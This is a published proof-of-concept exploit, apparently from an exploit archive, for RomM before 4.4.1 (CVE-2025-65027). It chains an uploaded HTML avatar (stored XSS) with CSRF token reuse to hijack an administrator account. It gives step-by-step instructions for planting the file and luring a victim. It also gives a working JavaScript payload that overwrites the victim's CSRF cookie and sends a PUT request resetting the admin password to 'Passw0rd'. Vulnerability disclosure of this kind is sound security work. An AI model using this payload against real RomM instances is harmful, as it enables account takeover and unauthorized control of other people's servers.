RomM 4.4.0 Exploit, XSS_CSRF Chain

# Exploit Title: RomM < 4.4.1 -  XSS_CSRF Chain
# Date: 2025-12-03
# Exploit Author: He4am (https://github.com/mHe4am)
# Vendor Homepage: https://romm.app/
# Software Link: https://github.com/rommapp/romm (Docker: https://hub.docker.com/r/rommapp/romm)
# Version: < 4.4.1
# Tested on: Linux
# CVE: CVE-2025-65027

# -------------------

# Vulnerability: Chaining unrestricted file upload (XSS) + CSRF token reuse to bypass SameSite protection
# Impact: Admin account takeover

# Prerequisites:
# 1. Attacker needs an authenticated account (Viewer role is sufficient)
# 2. Victim must visit the uploaded malicious HTML file via a direct link

# Steps to reproduce:
# 1. Login to RomM
# 2. Obtain your CSRF token:
#    - Open browser DevTools > Application tab (or Storage on Firefox) > Cookies
#    - Copy the `romm_csrftoken` cookie value
# 3. Replace <ATTACKER_CSRF_TOKEN> below with your token
# 4. Replace <TARGET_ROMM_URL> with the target RomM instance URL (e.g., http://romm.local)
# 5. Save this file as `avatar.html`
# 6. Upload it as your profile avatar (http://romm.local/user/me) and click the Apply button
# 7. Locate the uploaded file's direct link:
#    - DevTools > Network tab > Filter for `.html` files
#    - Or capture it via proxy (e.g., Burp Suite)
#    - It's usually something like: "http://romm.local/assets/romm/assets/users/<Random-ID>/profile/avatar.html"
# 8. Send this direct link of the uploaded avatar/file to the victim
# 9. When victim (e.g. admin) opens the link, their password will be changed to "Passw0rd"

# -------------------

# PoC Code:
<script>
const csrfToken = "<ATTACKER_CSRF_TOKEN>";		// CHANGE THIS - Your CSRF token from step 2
const targetURL = "<TARGET_ROMM_URL>";			// CHANGE THIS - Target RomM URL (e.g., http://romm.local)
const targetUserID = 1;							// Default admin ID is always 1, CHANGE THIS if needed
const newPassword = "Passw0rd";					// Password to set for victim

// Overwrite CSRF cookie to match our token
document.cookie = `romm_csrftoken=${csrfToken}; path=/`;

// Execute account takeover by forcing the victim to change their password
fetch(targetURL + "/api/users/" + targetUserID, {
  method: 'PUT',
  credentials: 'include',  // Send victim's session cookie
  headers: {
   'Content-Type': 'application/x-www-form-urlencoded',
   'x-csrftoken': csrfToken
  },
  body: "password=" + newPassword
})
.then(() => {
  console.log("Password changed successfully");
})
.catch(err => {
  console.error("Attack failed:", err);
});
</script>

# -------------------

# See full writeup for technical details: https://he4am.medium.com/bypassing-samesite-protection-chaining-xss-and-csrf-for-admin-ato-in-romm-44d910c54403

All rights reserved nPulse.net 2009 - 2026
Powered by: MVCP2 / BVCP / ASPF-MILTER / PHP 8.3 / NGINX / FreeBSD